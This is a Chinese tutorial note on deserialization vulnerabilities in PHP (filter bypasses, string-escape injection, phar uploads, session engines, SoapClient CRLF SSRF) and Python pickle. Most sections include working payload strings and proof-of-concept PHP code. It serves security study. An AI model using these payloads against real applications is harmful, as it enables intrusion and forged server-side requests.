反序列化

概念:序列化就是使用serialize()将对象的用字符串的方式进行表示,反序列化是使用unserialize()将序列化的字符串,构造成相应的对象,反序列化是序列化的逆过程。 序列化的对象可以是class也可以是Array,string等其他对象。

问题原因:漏洞的根源在于unserialize()函数的参数可控。如果反序列化对象中存在魔术方法,而且魔术方法中的代码或变量用户可控,就可能产生反序列化漏洞,根据反序列化后不同的代码可以导致各种攻击,如代码注入、SQL注入、目录遍历等等。

序列化格式

对象类型:对象名长度:”对象名”:对象成员变量个数:{变量1类型:变量名1长度:变量名1; 参数1类型:参数1长度:参数1; 变量2类型:变量名2长度:”变量名2”; 参数2类型:参数2长度:参数2;… …}

如:

O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;} a:2:{s:4:”name”;s:8:”Thinking”;s:3:”sex”;s:3:”man”;}

对象类型:Class-O,Array-a。

变量和参数类型:string-s,int-i,Array-a,引用-R。

序列符号:参数与变量之间用分号(;)隔开,同一变量和同一参数之间的数据用冒号(:)隔开。

类型结构
Strings:size:value;
Integeri:value;
Booleanb:value;(保存1或0)
NullN;
Arraya:size:{key definition;value definition;(repeated per element)}
ObjectO:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}
ReferenceR:2;

三种访问控制的区别

public: 变量名

protected: \x00 + * + \x00 + 变量名(或 \00 + * + \00 + 变量名%00 + * + %00 + 变量名

private: \x00 + 类名 + \x00 + 变量名(或 \00 + 类名 + \00 + 变量名%00 + 类名 + %00 + 变量名

注:php v7.x 反序列化对访问类别不敏感

魔术方法

1
2
3
4
5
6
7
8
9
__construct()  #当对象创建时自动被调用
__destruct() #当脚本运行结束时自动被调用
__sleep() #当对象序列化的时候自动被调用
__wakeup() #当反序列化为对象时自动被调用
__toString() #当直接输出对象引用时自动被调用
__call() #当要调用的方法不存在或权限不足时自动被调用
__invoke() #当把一个类当作函数使用时自动被调用
__autoload() #尝试加载未定义的类
__get() #尝试访问类中私有属性或不存在的属性时被调用

绕过方法

  • __wakeup()失效

    版本:PHP5<5.6.25 或 PHP7<7.0.10

    当序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行。

    如:O:4:"Demo":2:{s:10:"Demofile";s:16:"f15g_1s_here.php";}

  • 绕过preg_match()

    可使用+绕过正则,如:

    O:+4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";}

  • 绕过关键字

    PHP序列化中存在序列化类型 S,相较于小写的 s,大写 S 是escaped字符串,会将 \xx 形式作为一个16进制字符处理,如:

    n 的十六进制是 6e,所以把 name替换为 \6eame 即可绕过。

  • 其他特性
    • unserialize_callback_func + spl_autoload

      php manual 里面有一个很有趣的变量配置,如果在反序列化的时候需要实例化一个未定义的类,可以设置回调函数以供调用,最关键的是这个配置是 PHP_IN_ALL 的,所以可以直接通过 ini_set 来设置。

      注意: unserialize_callback_func 指令

      如果在反序列化的时候需要实例化一个未定义类,则可以设置回调函数以供调用(以免得到的是不完整的 object “__PHP_Incomplete_Class”)。可通过 php.ini、ini_set() 或 .htaccess 定义‘unserialize_callback_func’。每次实例化一个未定义类时它都会被调用。若要禁止这个特性,只需置空此设定。

      可以通过 spl_autoload 来自动加载未定义的类 settings,会默认加载当前目录下,以settings类名为文件名,php 或者 inc 为后缀的文件,这样就和 settings.inc 联系到了一起。

      spl_autoload — __autoload()函数的默认实现

      spl_autoload ( string $class_name , string $file_extensions = ? ) : void

      file_extensions: 在默认情况下,本函数先将类名转换成小写,再在小写的类名后加上 .inc 或 .php 的扩展名作为文件名,然后在所有的包含路径(include paths)中检查是否存在该文件。

反序列化字符逃逸

PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的。

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
function filter($string){
return str_replace('x','yy',$string);
}

$username = "peri0d";
$password = "aaaaa";
$user = array($username, $password);

var_dump(serialize($user));
echo '\n';

$r = filter(serialize($user));

var_dump($r);
echo '\n';

var_dump(unserialize($r));
  1. 正常情况下的序列化结果为 a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}

  2. 那如果把 username 换成 peri0dxxx ,其处理后的序列化结果为

    a:2:{i:0;s:9:"peri0dyyyyyy";i:1;s:5:"aaaaa";}

    这个时候肯定会反序列化失败,可以看到 s:9:"peri0dyyyyyy" 比以前多了 3 个字符。

  3. 回到前面, a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}

    它在进行修改密码之后就变为

    a:2:{i:0;s:6:"peri0d";i:1;s:6:"123456";}i:1;s:5:"aaaaa";}

  4. 可以看到需要添加的字符串 ";i:1;s:6:"123456";} 长度为 20

  5. 假设要在 peri0d 后面填充 4 个字符,那么就是

    s:30:'peri0dxxxx";i:1;s:6:"123456";}';

    在经过处理之后就是

    s:30:'peri0dyyyyyyyy";i:1;s:6:"123456";}';

    读取 30 个字符为 peri0dyyyyyyyy";i:1;s:6:"12345

  6. 这就需要继续增加填充字符,在有 20x 时,就实现了密码的修改。

    $6+x+20=6+2x \Rightarrow x=20$

    20191112223227-402c9c0c-0559-1

  7. 可以看到,这和 username 前面的 peri0d毫无关系的,只和做替换的字符串有关

phar反序列化

phar文件本质上是一种压缩文件,在使用phar协议文件包含时,也是可以直接读取zip文件的。使用phar://协议读取文件时,文件会被解析成phar对象,phar对象内的以序列化形式存储的用户自定义元数据(metadata)信息会被反序列化。这就引出了我们攻击手法最核心的流程。

流程:构造phar(元数据中含有恶意序列化内容)文件—>上传—>触发反序列化

最后一步是寻找触发phar文件元数据反序列化。其实php中有一大部分的文件系统函数在通过phar://伪协议解析phar文件时都会将meta-data进行反序列化。

利用条件

  • phar文件要能够上传到服务器端。如file_exists()fopen()file_get_contents()file()等文件操作的函数
  • 要有可用的魔术方法作为“跳板”。
  • 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

生成phar文件

首先得生成一个含有序列化metadata的phar文件。php提供一个类允许我们处理phar文件相关操作。注意要设置php.ini中phar.readonly=Off

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class User {
Public $name;
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar,生成后可以随意修改
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$o->name = 'JrXnm';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

上传到服务器

phar文件是很容易绕过上传限制的,首先它的后缀是不限制的,改成什么phar://协议都可以解析。

前面这个标志的格式为xxx<?php xxx; __HALT_COMPILER();?> 前面内容不限,这样可以在前面添加注入GIF98a这样的文件头绕过上传限制。

反序列化执行

直接执行测试的那份代码,phar://协议在file_get_contents函数中解析phar文件,将元数据反序列化执行魔法函数。

  • 绕过phar://不能出现在首部

    利用compress.zlib://compress.bzip2://

    compress.zlib://phar://phar.phar/test.txt

    其他利用法:

    php://filter/resource=phar://zlib:phar://

PHP session反序列化

PHP中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。存储的文件是以sess_[sessionid]来进行命名的。

有三种方式:

  • 默认使用php:键名|键值(经过序列化函数处理的值)

    name|s:6:"1FonlY";

  • php_serialize:经过序列化函数处理的值

    a:1:{s:4:"name";s:6:"1FonlY";}

  • php_binary:键名的长度对应的ASCII字符 + 键名 + 经过序列化函数处理的值

    names:6:"1FonlY";

    不可显的为EOT ,name的长度为4 4在ASCII 表中就是 EOT

当序列化的引擎和反序列化的引擎不一致时,就可以利用引擎之间的差异产生序列化注入漏洞。

比如这里先实例化一个对象,然后将其序列化为 O:7:"_1FonlY":1:{s:3:"cmd";N;}

如果传入 |O:7:"_1FonlY":1:{s:3:"cmd";N;},在使用php_serialize 引擎的时候,

序列化后的session 文件是这样的 a:1:{s:4:"name";s:31:"|O:7:"_1FonlY":1:{s:3:"cmd";N;}";}

这时,将a:1:{s:4:"name";s:31:" 当做键名,O:7:"_1FonlY":1:{s:3:"cmd";N;} 当做键值,将键值进行反序列化输出,这时就造成了序列化注入攻击。

Soap反序列化

SOAP : Simple Object Access Protocol简单对象访问协议。

采用HTTP作为底层通讯协议,XML作为数据传送的格式,正常情况下的SoapClient类,调用一个不存在的函数,会去调用__call方法。

CRLF漏洞

SOAPAction处可控,可以把\x0d\x0a注入到SOAPAction,POST请求的header就可以被控制。

Content-TypeSOAPAction的上面,就无法控制Content-Type,也就不能控制POST的数据。

在header里User-AgentContent-Type前面,user_agent同样可以注入CRLF,控制Content-Type的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$target = 'http://127.0.0.1:5555/path';
$post_string = 'data=something';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=my_session'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;

//$c = unserialize($aaa);
//$c->not_exists_function();
?>

如上,使用SoapClient反序列化+CRLF可以生成任意POST请求

Deserialization + __call + SoapClient + CRLF = SSRF

python反序列化

  • 与PHP类似,python也有序列化功能以长期储存内存中的数据。pickle是python下的序列化与反序列化包。
  • python有另一个更原始的序列化包marshal,现在开发时一般使用pickle。
  • 与json相比,pickle以二进制储存,不易人工阅读;json可以跨语言,而pickle是Python专用的;pickle能表示python几乎所有的类型(包括自定义类型),json只能表示一部分内置类型且不能表示自定义类型。
  • pickle实际上可以看作一种独立的语言,通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。

参考:

Python-Pickle反序列化安全问题

pickle反序列化初探

Code-Breaking中的两个Python沙箱

pickle反序列化—高校抗“疫”网络安全分享赛

从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势

JDBC反序列化

MySQL客户端jdbc反序列化漏洞

框架反序列化(CVE)

PHPGGC

PHPGGC是一款能够自动生成主流框架的序列化测试payload的工具。

PHPGGC: PHP Generic Gadget Chains

从0到1掌握反序列化工具之PHPGGC